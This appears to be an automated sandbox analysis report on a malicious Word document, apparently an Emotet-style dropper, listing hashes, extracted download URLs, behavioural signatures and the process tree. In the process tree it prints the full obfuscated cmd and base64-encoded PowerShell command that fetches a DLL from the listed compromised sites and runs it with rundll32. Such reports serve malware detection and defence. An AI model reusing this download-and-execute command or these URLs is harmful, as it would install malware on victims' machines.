Analysis
-
max time kernel
136s -
max time network
141s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 15:19
Behavioral task
behavioral1
Sample
Besked_8207219.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Besked_8207219.doc
Resource
win10v20201028
General
-
Target
Besked_8207219.doc
-
Size
159KB
-
MD5
12fda68c1061e26283ce696fe184f3a7
-
SHA1
d63fd96d911eee173c8a7d61f0caec74dccf73fe
-
SHA256
a173e1368bd84bab43c9ee0bf4f6353acd9b1742ab20f3a3c8bd38ee1dd0c6be
-
SHA512
4d2fb1525f4c7ff759d301864513630f1efd0e0fc594780cbc61631cc1cac75e4bcfda117f8f66dbb4a32939e005ba01d258979a18f6f9d4c6496ca67e3ebc32
Malware Config
Extracted
http://fynart.com/wp-admin/aNuMy/
http://dermedicoclinic.com/js/NElI8ZC/
http://geolifesciences.com/font/r/
http://rollinghood.com/how-to-ifwed/buj6VQx/
http://jardindhelena.com/wp-content/u20/
http://kingshowworldshoppingmall.com/cgi-bin/Ga/
http://davinciworldshoppingmall.com/cgi-bin/Eh/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3152 4264 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 15 2916 powershell.exe 31 1012 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 4040 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Yepagihkrlh\inqpaifotd.xhm rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4700 WINWORD.EXE 4700 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 2916 powershell.exe 2916 powershell.exe 2916 powershell.exe 1012 rundll32.exe 1012 rundll32.exe 1012 rundll32.exe 1012 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2916 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4700 WINWORD.EXE 4700 WINWORD.EXE 4700 WINWORD.EXE 4700 WINWORD.EXE 4700 WINWORD.EXE 4700 WINWORD.EXE 4700 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 3152 wrote to memory of 1644 3152 cmd.exe msg.exe PID 3152 wrote to memory of 1644 3152 cmd.exe msg.exe PID 3152 wrote to memory of 2916 3152 cmd.exe powershell.exe PID 3152 wrote to memory of 2916 3152 cmd.exe powershell.exe PID 2916 wrote to memory of 4092 2916 powershell.exe rundll32.exe PID 2916 wrote to memory of 4092 2916 powershell.exe rundll32.exe PID 4092 wrote to memory of 4040 4092 rundll32.exe rundll32.exe PID 4092 wrote to memory of 4040 4092 rundll32.exe rundll32.exe PID 4092 wrote to memory of 4040 4092 rundll32.exe rundll32.exe PID 4040 wrote to memory of 1012 4040 rundll32.exe rundll32.exe PID 4040 wrote to memory of 1012 4040 rundll32.exe rundll32.exe PID 4040 wrote to memory of 1012 4040 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Besked_8207219.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAkAEYATQBYACAAIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE8ALgAnACwAJwBTAFkAcwB0ACcALAAnAC4AaQAnACwAJwBFAG0AJwAsACcAZABJAHIAZQBjAFQATwByAHkAJwApACAAOwAgACQAaQBzAG8AZgBlAFcAPQAgACAAWwBUAFkAcABlAF0AKAAiAHsANAB9AHsAMQB9AHsAMAB9AHsAMwB9AHsANQB9AHsANgB9AHsAOAB9AHsAMgB9AHsANwB9ACIAIAAtAEYAJwBlAE0ALgAnACwAJwBTAFQAJwAsACcASQBuAFQATQBBACcALAAnAE4ARQB0AC4AJwAsACcAUwB5ACcALAAnAFMARQAnACwAJwBSAFYASQAnACwAJwBuAGEAZwBlAHIAJwAsACcAQwBlAHAATwAnACkAIAA7ACAAIAAkAEUANgBjAGIAMgA2AGUAPQAkAFAANQA4AEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAMgA1AE0AOwAkAEcAMQAxAFUAPQAoACcARwA3ACcAKwAnADEAVAAnACkAOwAgACgAIABnAGUAVAAtAHYAQQByAGkAQQBiAGwAZQAgAGYAbQBYACAAIAAtAFYAYQBsAHUAZQBvACAAIAApADoAOgAiAGMAUgBgAEUAQQBUAEUAZABJAGAAUgBFAGAAYwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHkAVQAnACsAJwBYAEUANgBuAHgAMwAnACsAJwA4ADUAJwApACsAKAAnAHkAJwArACcAVQBYACcAKQArACgAJwBBAGgAagAnACsAJwAyAHYAJwApACsAJwB4ACcAKwAnAG4AeQAnACsAJwBVACcAKwAnAFgAJwApAC4AIgByAEUAYABQAGwAYQBjAGUAIgAoACgAWwBjAGgAQQBSAF0AMQAyADEAKwBbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQA4ADgAKQAsACcAXAAnACkAKQApADsAJABEAF8AMwBNAD0AKAAoACcAQwAnACsAJwBfADcAJwApACsAJwBHACcAKQA7ACAAIAAoACAAIABWAGEAcgBJAGEAQgBsAGUAIAAoACcASQBTAG8AZgAnACsAJwBFAHcAJwApACkALgBWAGEAbABVAEUAOgA6ACIAUwBgAGUAYwB1AFIASQBUAFkAUABSAG8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQA2ADYASwA9ACgAKAAnAEgAJwArACcAMwAxACcAKQArACcAVgAnACkAOwAkAEsAMwAyADAAMgBzAF8AIAA9ACAAKAAoACcAVAAnACsAJwBfADIAJwApACsAJwBTACcAKQA7ACQAVAA3ADMARQA9ACgAKAAnAEQANwAnACsAJwAwACcAKQArACcARwAnACkAOwAkAEMAMQBlADgAXwByAHYAPQAkAEgATwBNAEUAKwAoACgAKAAnAEcAJwArACcAagBIACcAKQArACcARQAnACsAKAAnADYAbgB4ADMAOAA1ACcAKwAnAEcAagBIAEEAaABqACcAKwAnADIAdgAnACkAKwAnAHgAJwArACgAJwBuACcAKwAnAEcAagAnACkAKwAnAEgAJwApAC4AIgBSAEUAcABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQA3ADEAKwBbAGMAaABhAHIAXQAxADAANgArAFsAYwBoAGEAcgBdADcAMgApACwAJwBcACcAKQApACsAJABLADMAMgAwADIAcwBfACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQAUQAzADIAQwA9ACgAJwBUADcAJwArACcAMgBGACcAKQA7ACQARABoAHEAYgA1AGIAeAA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwAnACsAJwBEACcAKwAnADoAJwArACcALwAvAGYAeQBuAGEAJwApACsAKAAnAHIAJwArACcAdAAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AYQAnACkAKwAoACcATgAnACsAJwB1ACcAKwAnAE0AeQAvAEAAJwArACcAQQBdAFsAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAnACsAJwAvAGQAZQAnACkAKwAoACcAcgAnACsAJwBtAGUAZABpAGMAbwBjAGwAaQAnACsAJwBuAGkAJwArACcAYwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGoAcwAvAE4ARQBsACcAKQArACgAJwBJADgAWgAnACsAJwBDAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBnAGUAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAaQAnACsAJwBlAG4AYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAZgBvACcAKwAnAG4AJwArACgAJwB0AC8AcgAvAEAAQQAnACsAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEADoALwAvACcAKwAnAHIAbwAnACkAKwAnAGwAbAAnACsAKAAnAGkAJwArACcAbgBnAGgAJwArACcAbwAnACsAJwBvAGQALgBjAG8AbQAvACcAKwAnAGgAbwB3ACcAKQArACgAJwAtACcAKwAnAHQAbwAtAGkAZgB3ACcAKQArACcAZQBkACcAKwAoACcALwBiAHUAagA2ACcAKwAnAFYAJwApACsAKAAnAFEAeAAvAEAAJwArACcAQQBdAFsAcQAnACsAJwBbAEQAOgAvACcAKwAnAC8AJwArACcAagBhACcAKQArACcAcgBkACcAKwAoACcAaQBuAGQAaAAnACsAJwBlAGwAJwArACcAZQAnACkAKwAoACcAbgBhAC4AYwAnACsAJwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwB1ACcAKwAnADIAMAAvACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAoACcARAA6AC8AJwArACcALwAnACkAKwAoACcAawBpACcAKwAnAG4AJwApACsAJwBnACcAKwAnAHMAJwArACgAJwBoAG8AJwArACcAdwB3AG8AJwApACsAJwByAGwAJwArACgAJwBkACcAKwAnAHMAJwArACcAaABvAHAAcABpAG4AZwAnACkAKwAoACcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACcALwBjACcAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcARwBhAC8AQABBACcAKwAnAF0AWwBxACcAKwAnAFsARAA6ACcAKwAnAC8ALwBkAGEAJwArACcAdgBpAG4AJwApACsAKAAnAGMAaQB3ACcAKwAnAG8AJwArACcAcgBsAGQAcwAnACkAKwAnAGgAbwAnACsAKAAnAHAAcAAnACsAJwBpAG4AJwApACsAKAAnAGcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAKAAnAGcAaQAnACsAJwAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvAEUAaAAnACsAJwAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBgAGMARQAiACgAKAAnAEEAXQAnACsAKAAnAFsAcQBbACcAKwAnAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQAnACkAKwAnAHcAZgAnACkALAAoACgAJwB3ACcAKwAnAGUAdgB3ACcAKQArACcAZQAnACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACkAKQBbADIAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABSADcAOABKACAAKwAgACQARQA2AGMAYgAyADYAZQAgACsAIAAkAEEANgAzAEcAKQA7ACQARQA5ADYAVgA9ACgAJwBPADkAJwArACcANQBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWAByAHEAcAA5AGUANQAgAGkAbgAgACQARABoAHEAYgA1AGIAeAApAHsAdAByAHkAewAoACYAKAAnAE4AZQAnACsAJwB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAcwB5AHMAVABFAE0ALgBuAEUAdAAuAFcARQBCAEMATABJAGUAbgBUACkALgAiAEQATwB3AGAATgBsAG8AYABBAGQAZgBpAGAAbABFACIAKAAkAFgAcgBxAHAAOQBlADUALAAgACQAQwAxAGUAOABfAHIAdgApADsAJABHADgAMwBYAD0AKAAoACcAQwAnACsAJwAxAF8AJwApACsAJwBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADEAZQA4AF8AcgB2ACkALgAiAGwAYABlAG4AZwB0AEgAIgAgAC0AZwBlACAANAA0ADkANwAzACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAJwArACcAbABsADMAMgAnACkAIAAkAEMAMQBlADgAXwByAHYALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbAAnACsAJwBvAGcAJwApACsAJwBBACcAKQAuACIAdABgAG8AcwBUAGAAUgBpAG4AZwAiACgAKQA7ACQAVQBfADYAWgA9ACgAJwBYACcAKwAoACcAMAAnACsAJwA1AFoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAOAAwAEkAPQAoACgAJwBSADQAJwArACcAXwAnACkAKwAnAFEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABFADAAMgBBAD0AKAAnAEoAJwArACgAJwA5ACcAKwAnADcAUQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAkAEYATQBYACAAIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AewA0AH0AIgAtAEYAIAAnAE8ALgAnACwAJwBTAFkAcwB0ACcALAAnAC4AaQAnACwAJwBFAG0AJwAsACcAZABJAHIAZQBjAFQATwByAHkAJwApACAAOwAgACQAaQBzAG8AZgBlAFcAPQAgACAAWwBUAFkAcABlAF0AKAAiAHsANAB9AHsAMQB9AHsAMAB9AHsAMwB9AHsANQB9AHsANgB9AHsAOAB9AHsAMgB9AHsANwB9ACIAIAAtAEYAJwBlAE0ALgAnACwAJwBTAFQAJwAsACcASQBuAFQATQBBACcALAAnAE4ARQB0AC4AJwAsACcAUwB5ACcALAAnAFMARQAnACwAJwBSAFYASQAnACwAJwBuAGEAZwBlAHIAJwAsACcAQwBlAHAATwAnACkAIAA7ACAAIAAkAEUANgBjAGIAMgA2AGUAPQAkAFAANQA4AEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFIAMgA1AE0AOwAkAEcAMQAxAFUAPQAoACcARwA3ACcAKwAnADEAVAAnACkAOwAgACgAIABnAGUAVAAtAHYAQQByAGkAQQBiAGwAZQAgAGYAbQBYACAAIAAtAFYAYQBsAHUAZQBvACAAIAApADoAOgAiAGMAUgBgAEUAQQBUAEUAZABJAGAAUgBFAGAAYwBgAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHkAVQAnACsAJwBYAEUANgBuAHgAMwAnACsAJwA4ADUAJwApACsAKAAnAHkAJwArACcAVQBYACcAKQArACgAJwBBAGgAagAnACsAJwAyAHYAJwApACsAJwB4ACcAKwAnAG4AeQAnACsAJwBVACcAKwAnAFgAJwApAC4AIgByAEUAYABQAGwAYQBjAGUAIgAoACgAWwBjAGgAQQBSAF0AMQAyADEAKwBbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQA4ADgAKQAsACcAXAAnACkAKQApADsAJABEAF8AMwBNAD0AKAAoACcAQwAnACsAJwBfADcAJwApACsAJwBHACcAKQA7ACAAIAAoACAAIABWAGEAcgBJAGEAQgBsAGUAIAAoACcASQBTAG8AZgAnACsAJwBFAHcAJwApACkALgBWAGEAbABVAEUAOgA6ACIAUwBgAGUAYwB1AFIASQBUAFkAUABSAG8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAVQA2ADYASwA9ACgAKAAnAEgAJwArACcAMwAxACcAKQArACcAVgAnACkAOwAkAEsAMwAyADAAMgBzAF8AIAA9ACAAKAAoACcAVAAnACsAJwBfADIAJwApACsAJwBTACcAKQA7ACQAVAA3ADMARQA9ACgAKAAnAEQANwAnACsAJwAwACcAKQArACcARwAnACkAOwAkAEMAMQBlADgAXwByAHYAPQAkAEgATwBNAEUAKwAoACgAKAAnAEcAJwArACcAagBIACcAKQArACcARQAnACsAKAAnADYAbgB4ADMAOAA1ACcAKwAnAEcAagBIAEEAaABqACcAKwAnADIAdgAnACkAKwAnAHgAJwArACgAJwBuACcAKwAnAEcAagAnACkAKwAnAEgAJwApAC4AIgBSAEUAcABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQA3ADEAKwBbAGMAaABhAHIAXQAxADAANgArAFsAYwBoAGEAcgBdADcAMgApACwAJwBcACcAKQApACsAJABLADMAMgAwADIAcwBfACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQAUQAzADIAQwA9ACgAJwBUADcAJwArACcAMgBGACcAKQA7ACQARABoAHEAYgA1AGIAeAA9ACgAJwBBACcAKwAoACcAXQBbAHEAWwAnACsAJwBEACcAKwAnADoAJwArACcALwAvAGYAeQBuAGEAJwApACsAKAAnAHIAJwArACcAdAAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AYQAnACkAKwAoACcATgAnACsAJwB1ACcAKwAnAE0AeQAvAEAAJwArACcAQQBdAFsAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAnACsAJwAvAGQAZQAnACkAKwAoACcAcgAnACsAJwBtAGUAZABpAGMAbwBjAGwAaQAnACsAJwBuAGkAJwArACcAYwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGoAcwAvAE4ARQBsACcAKQArACgAJwBJADgAWgAnACsAJwBDAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBnAGUAbwBsAGkAJwApACsAJwBmAGUAJwArACgAJwBzAGMAaQAnACsAJwBlAG4AYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAZgBvACcAKwAnAG4AJwArACgAJwB0AC8AcgAvAEAAQQAnACsAJwBdAFsAJwArACcAcQAnACkAKwAoACcAWwBEADoALwAvACcAKwAnAHIAbwAnACkAKwAnAGwAbAAnACsAKAAnAGkAJwArACcAbgBnAGgAJwArACcAbwAnACsAJwBvAGQALgBjAG8AbQAvACcAKwAnAGgAbwB3ACcAKQArACgAJwAtACcAKwAnAHQAbwAtAGkAZgB3ACcAKQArACcAZQBkACcAKwAoACcALwBiAHUAagA2ACcAKwAnAFYAJwApACsAKAAnAFEAeAAvAEAAJwArACcAQQBdAFsAcQAnACsAJwBbAEQAOgAvACcAKwAnAC8AJwArACcAagBhACcAKQArACcAcgBkACcAKwAoACcAaQBuAGQAaAAnACsAJwBlAGwAJwArACcAZQAnACkAKwAoACcAbgBhAC4AYwAnACsAJwBvAG0ALwAnACsAJwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0ACcAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwB1ACcAKwAnADIAMAAvACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAoACcARAA6AC8AJwArACcALwAnACkAKwAoACcAawBpACcAKwAnAG4AJwApACsAJwBnACcAKwAnAHMAJwArACgAJwBoAG8AJwArACcAdwB3AG8AJwApACsAJwByAGwAJwArACgAJwBkACcAKwAnAHMAJwArACcAaABvAHAAcABpAG4AZwAnACkAKwAoACcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACcALwBjACcAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcARwBhAC8AQABBACcAKwAnAF0AWwBxACcAKwAnAFsARAA6ACcAKwAnAC8ALwBkAGEAJwArACcAdgBpAG4AJwApACsAKAAnAGMAaQB3ACcAKwAnAG8AJwArACcAcgBsAGQAcwAnACkAKwAnAGgAbwAnACsAKAAnAHAAcAAnACsAJwBpAG4AJwApACsAKAAnAGcAbQBhAGwAbAAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvACcAKwAnAGMAJwApACsAKAAnAGcAaQAnACsAJwAtAGIAJwApACsAJwBpAG4AJwArACgAJwAvAEUAaAAnACsAJwAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBgAGMARQAiACgAKAAnAEEAXQAnACsAKAAnAFsAcQBbACcAKwAnAEQAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQAnACkAKwAnAHcAZgAnACkALAAoACgAJwB3ACcAKwAnAGUAdgB3ACcAKQArACcAZQAnACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACkAKQBbADIAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABSADcAOABKACAAKwAgACQARQA2AGMAYgAyADYAZQAgACsAIAAkAEEANgAzAEcAKQA7ACQARQA5ADYAVgA9ACgAJwBPADkAJwArACcANQBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWAByAHEAcAA5AGUANQAgAGkAbgAgACQARABoAHEAYgA1AGIAeAApAHsAdAByAHkAewAoACYAKAAnAE4AZQAnACsAJwB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAcwB5AHMAVABFAE0ALgBuAEUAdAAuAFcARQBCAEMATABJAGUAbgBUACkALgAiAEQATwB3AGAATgBsAG8AYABBAGQAZgBpAGAAbABFACIAKAAkAFgAcgBxAHAAOQBlADUALAAgACQAQwAxAGUAOABfAHIAdgApADsAJABHADgAMwBYAD0AKAAoACcAQwAnACsAJwAxAF8AJwApACsAJwBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDADEAZQA4AF8AcgB2ACkALgAiAGwAYABlAG4AZwB0AEgAIgAgAC0AZwBlACAANAA0ADkANwAzACkAIAB7AC4AKAAnAHIAdQBuACcAKwAnAGQAJwArACcAbABsADMAMgAnACkAIAAkAEMAMQBlADgAXwByAHYALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEACcAKwAnAGkAYQAnACkAKwAoACcAbAAnACsAJwBvAGcAJwApACsAJwBBACcAKQAuACIAdABgAG8AcwBUAGAAUgBpAG4AZwAiACgAKQA7ACQAVQBfADYAWgA9ACgAJwBYACcAKwAoACcAMAAnACsAJwA1AFoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEoAOAAwAEkAPQAoACgAJwBSADQAJwArACcAXwAnACkAKwAnAFEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABFADAAMgBBAD0AKAAnAEoAJwArACgAJwA5ACcAKwAnADcAUQAnACkAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yepagihkrlh\inqpaifotd.xhm",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\E6nx385\Ahj2vxn\T_2S.dllMD5
2b26b868102f32d8726a3df440fa91d1
SHA1f86316e3c6358f21dc092a61165d5fe3a7370f1b
SHA256bd80c6b05957aefc390bb2e8fd2ce13042e4bd8d8a8f622c523e48d111c5dd49
SHA512f61c0507b88b497099ee1636087494ac617d74573ad2fe12b1da154c6cc8c1315144e9810ddd2389f5f7ece708dbc6feb3045e31d6a427d011af43bde613dcf9
-
\Users\Admin\E6nx385\Ahj2vxn\T_2S.dllMD5
2b26b868102f32d8726a3df440fa91d1
SHA1f86316e3c6358f21dc092a61165d5fe3a7370f1b
SHA256bd80c6b05957aefc390bb2e8fd2ce13042e4bd8d8a8f622c523e48d111c5dd49
SHA512f61c0507b88b497099ee1636087494ac617d74573ad2fe12b1da154c6cc8c1315144e9810ddd2389f5f7ece708dbc6feb3045e31d6a427d011af43bde613dcf9
-
memory/1012-12-0x0000000000000000-mapping.dmp
-
memory/1644-3-0x0000000000000000-mapping.dmp
-
memory/2916-4-0x0000000000000000-mapping.dmp
-
memory/2916-5-0x00007FF848420000-0x00007FF848E0C000-memory.dmpFilesize
9.9MB
-
memory/2916-6-0x000002C537FD0000-0x000002C537FD1000-memory.dmpFilesize
4KB
-
memory/2916-7-0x000002C550410000-0x000002C550411000-memory.dmpFilesize
4KB
-
memory/4040-10-0x0000000000000000-mapping.dmp
-
memory/4092-8-0x0000000000000000-mapping.dmp
-
memory/4700-2-0x00007FF853020000-0x00007FF853657000-memory.dmpFilesize
6.2MB